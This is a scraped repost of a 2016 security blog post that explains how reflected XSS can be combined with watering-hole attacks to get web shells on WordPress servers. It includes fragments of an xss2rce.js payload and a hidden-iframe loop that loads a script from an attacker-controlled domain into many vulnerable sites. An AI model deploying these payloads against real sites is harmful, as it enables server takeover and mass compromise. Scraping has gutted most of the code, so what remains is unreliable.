Reflected in Watering Hole

Datetime:2016-08-22 21:55:03         Topic: XSS Vulnerability          Share        Original >>
Here to See The Original Article!!!

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:

Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikar we can see in details how to use use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker ‘s work XSS and WordPress – The Aftermath .

// wp_xss2rce.js 1/3

x=new XMLHttpRequest()




— Brute (@brutelogic) July 9, 2016

// wp_xss2rce.js 3/3'POST',p+f,1)



— Brute (@brutelogic) July 9, 2016

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:






for(i=0; i<targets.length; i++){



f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;



This simply creates a list of targets (,, etc) and creates a hidden iframe (style=display:none) element with source being the relative path to vulnerable page with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is a live example of the idea exposed above:

It was still vulnerable to the time of this publishing.



Put your ads here, just $200 per month.